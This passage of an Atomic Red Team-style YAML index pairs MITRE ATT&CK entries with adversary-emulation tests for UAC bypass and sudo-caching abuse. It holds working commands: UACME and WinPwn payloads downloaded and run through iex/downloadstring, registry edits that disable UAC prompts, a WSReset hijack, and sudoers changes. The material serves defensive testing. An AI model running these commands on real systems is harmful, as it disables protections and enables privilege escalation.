        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent:
        DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\23 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 31
      auto_generated_guid: b0f76240-9f33-4d34-90e8-3a7d501beb15
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent:
        Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM
        Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\31 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 33
      auto_generated_guid: e514bb03-f71c-4b22-9092-9f961ec6fb03
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\33 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 34
      auto_generated_guid: 695b2dac-423e-448e-b6ef-5b88e93011d6
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe
        via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM
        Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\34 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 39
      auto_generated_guid: 56163687-081f-47da-bb9c-7b231c5585cf
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\39 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 56
      auto_generated_guid: 235ec031-cd2d-465d-a7ae-68bab281e80e
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\56 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 59
      auto_generated_guid: dfb1b667-4bb8-4a63-a85e-29936ea75f29
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and
        DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM
        Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\59 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 61
      auto_generated_guid: 7825b576-744c-4555-856d-caf3460dc236
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod:
        Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\61 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: WinPwn - UAC Magic
      auto_generated_guid: 964d8bf8-37bc-4fd3-ba36-ad13761ebbcc
      description: UAC bypass using Magic technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic
        name: powershell
    - name: WinPwn - UAC Bypass ccmstp technique
      auto_generated_guid: f3c145f9-3c8d-422c-bd99-296a17a8f567
      description: UAC bypass using ccmstp technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstp
        name: powershell
    - name: WinPwn - UAC Bypass DiskCleanup technique
      auto_generated_guid: 1ed67900-66cd-4b09-b546-2a0ef4431a0c
      description: UAC bypass using DiskCleanup technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanup
        name: powershell
    - name: WinPwn - UAC Bypass DccwBypassUAC technique
      auto_generated_guid: 2b61977b-ae2d-4ae4-89cb-5c36c89586be
      description: UAC Bypass DccwBypassUAC technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')
        name: powershell
    - name: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry
        key
      auto_generated_guid: 251c5936-569f-42f4-9ac2-87a173b9e9b8
      description: "Disable User Account Conrol (UAC) for admin by setting the registry
        key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin
        to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/),
        \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit),
        \n[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)\n"
      supported_platforms:
      - windows
      executor:
        command: |-
          $orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin
          Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force
        cleanup_command: 'Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force

          '
        name: powershell
        elevation_required: true
    - name: UAC Bypass with WSReset Registry Modification
      auto_generated_guid: 3b96673f-9c92-40f1-8a3e-ca060846f8d9
      description: "The following UAC bypass is focused on a registry key under \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\"
        that will trigger a command once wsreset.exe runs. \nThis bypass is limited
        to Windows 10 1803/1809 and may not run on Server platforms. The registry
        mod is where interest will be.\nIf successful, the command to run will spawn
        off wsreset.exe. \n[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)\n"
      supported_platforms:
      - windows
      input_arguments:
        commandpath:
          description: Registry path
          type: string
          default: HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command
        commandtorun:
          description: Command to run
          type: string
          default: C:\Windows\System32\cmd.exe /c start cmd.exe
      executor:
        command: |-
          New-Item #{commandpath} -Force | Out-Null
          New-ItemProperty -Path #{commandpath} -Name "DelegateExecute" -Value "" -Force | Out-Null
          Set-ItemProperty -Path #{commandpath} -Name "(default)" -Value "#{commandtorun}" -Force -ErrorAction SilentlyContinue | Out-Null
          $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
        cleanup_command: 'Remove-Item #{commandpath} -Recurse -Force

          '
        name: powershell
    - name: Disable UAC - Switch to the secure desktop when prompting for elevation
        via registry key
      auto_generated_guid: 85f3a526-4cfa-4fe7-98c1-dea99be025c7
      description: "User Account Control (UAC) is a security mechanism for limiting
        the elevation of privileges, including administrative accounts, unless authorized.
        \nThis setting ensures that the elevation prompt is only used in secure desktop
        mode.\nDisable User Account Conrol (UAC) for secure desktop by setting the
        registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop
        to 0.\n"
      supported_platforms:
      - windows
      executor:
        command: Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force
        cleanup_command: 'Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force

          '
        name: powershell
        elevation_required: true
    - name: Disable UAC notification via registry keys
      auto_generated_guid: 160a7c77-b00e-4111-9e45-7c2a44eda3fd
      description: 'This atomic regarding UACDisableNotify pertains to the notification
        behavior of UAC. UAC is a critical security feature in Windows that prevents
        unauthorized changes to the operating system. It prompts the user for permission
        or an administrator password before allowing actions that could affect the
        system''s operation or change settings that affect other users. The BlotchyQuasar
        RAT defense evasion activities that the adversary to disable UAC notifications
        makes it easier for malware and malicious software to execute with elevated
        privileges. [Article](https://securityintelligence.com/x-force/x-force-hive0129-targeting-financial-institutions-latam-banking-trojan/)

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify
          /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify
          /t REG_DWORD /d 0 /f

          '
        name: command_prompt
    - name: Disable ConsentPromptBehaviorAdmin via registry keys
      auto_generated_guid: a768aaa2-2442-475c-8990-69cf33af0f4e
      description: 'This atomic regarding setting ConsentPromptBehaviorAdmin to 0
        configures the UAC so that it does not prompt for consent or credentials when
        actions requiring elevated privileges are performed by users in the administrators
        group. This means that any operation that would normally trigger a UAC prompt
        will proceed automatically without user interaction.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
          /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
          /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f

          '
        name: command_prompt
  T1548.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0
      type: attack-pattern
      created: '2020-01-30T14:34:44.992Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1548.003
        url: https://attack.mitre.org/techniques/T1548/003
      - url: https://www.sudo.ws/
        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
        source_name: sudo man page 2018
      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
        source_name: OSX.Dok Malware
      - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
        description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
          Does. Retrieved March 19, 2018.
        source_name: cybereason osx proton
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Abuse Elevation Control Mechanism: Sudo and Sudo Caching'
      description: |-
        Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

        Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

        The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.

        Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

        In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: On Linux, auditd can alert every time a user's actual ID
        and effective ID are different (this is what happens when you sudo). This
        technique is abusing normal functionality in macOS and Linux systems, but
        sudo has the ability to log all input and output based on the <code>LOG_INPUT</code>
        and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      x_mitre_permissions_required:
      - User
      x_mitre_effective_permissions:
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1548.003
    atomic_tests:
    - name: Sudo usage
      auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e
      description: 'Common Sudo enumeration methods.

        '
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: "sudo -l      \nsudo cat /etc/sudoers\nsudo vim /etc/sudoers\n"
    - name: Sudo usage (freebsd)
      auto_generated_guid: 2bf9a018-4664-438a-b435-cc6f8c6f71b1
      description: 'Common Sudo enumeration methods.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if sudo is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y sudo)\n"
      executor:
        name: sh
        elevation_required: true
        command: "sudo -l      \nsudo cat /usr/local/etc/sudoers\nsudo ee /usr/local/etc/sudoers\n"
    - name: Unlimited sudo cache timeout
      auto_generated_guid: a7b17659-dd5e-46f7-b7d1-e6792c91d0bc
      description: 'Sets sudo caching timestamp_timeout to a value for unlimited.
        This is dangerous to modify without using ''visudo'', do not do this on a
        production system.

        '
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
          sudo visudo -c -f /etc/sudoers
    - name: Unlimited sudo cache timeout (freebsd)
      auto_generated_guid: a83ad6e8-6f24-4d7f-8f44-75f8ab742991
      description: 'Sets sudo caching timestamp_timeout to a value for unlimited.
        This is dangerous to modify without using ''visudo'', do not do this on a
        production system.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if sudo is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y sudo)\n"
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers
          sudo visudo -c -f /usr/local/etc/sudoers
    - name: Disable tty_tickets for sudo caching
      auto_generated_guid: 91a60b03-fb75-4d24-a42e-2eb8956e8de1
      description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous
        to modify without using ''visudo'', do not do this on a production system.

        '
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers"
          sudo visudo -c -f /etc/sudoers
    - name: Disable tty_tickets for sudo caching (freebsd)
      auto_generated_guid: 4df6a0fe-2bdd-4be8-8618-a6a19654a57a
      description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous
        to modify without using ''visudo'', do not do this on a production system.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if sudo is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y sudo)\n"
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers"
          sudo visudo -c -f /usr/local/etc/sudoers
  T1574.011:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: 'Hijack Execution Flow: Services Registry Permissions Weakness'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

